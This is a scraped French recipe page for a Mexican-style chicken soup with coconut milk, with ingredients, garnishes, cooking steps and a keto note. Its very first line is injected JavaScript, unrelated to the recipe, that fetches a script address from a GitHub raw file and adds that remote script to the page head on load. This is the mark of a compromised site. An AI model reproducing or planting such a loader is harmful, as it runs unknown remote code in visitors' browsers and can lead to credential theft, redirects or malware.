;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Soupe Mexicaine - Haute Nutrition
Go Back
bol de soupe mexicaine

Soupe Mexicaine

Print Recipe Pin Recipe
Prep Time 5 mins
Cook Time 15 mins
Total Time 20 mins
Course Main Course, Soup
Cuisine Mexican
Servings 4 portions
Calories 508 kcal

Ingredients
  

  • 30 ml huile d'olive
  • 1 oignon moyen haché
  • 5 ml cumin
  • 2.5 ml poudre de chili chipotle
  • 2.5 ml paprika fumé en option
  • 500 ml bouillon de poulet
  • 200 g poulet
  • 600 ml tomates en boîte
  • 200 ml lait de coco ou crème de noix de coco
  • 125 ml coriandre fraîche hachée option

Garnitures

  • oignons verts tranchés
  • coriandre fraîche hachée
  • jalapeños frais tranchés finement
  • 1 avocat
  • 5 ml sel
  • 2 tortillas laitue ou tortillas kéto
  • 200 g poulet

Instructions
 

  • Chauffer l'huile d'olive dans une grande casserole à feu moyen, puis ajouter l'oignon. Cuire jusqu'à ramollissement, en remuant régulièrement, environ 5 minutes. Ajouter les épices  et de sel et bien mélanger, puis cuire 30 secondes.
  • Versez le bouillon, les tomates, les piments chili et le lait de coco et mélangez jusqu'à consistance lisse. Laisser mijoter à feu moyen.
    Incorporer la coriandre hachée, puis verser dans des bols et servir avec des garnitures.
  • Notes de recette
  • Vous pouvez ajouter des tortillas kéto grillés (Four 425 F badigeonner d'huile d'olive pendant 10 minutes)

Notes

 
Diète hypotoxique: utiliser des tortillas kéto , vous aurez 13 grammes de glucides nets au lieu de 18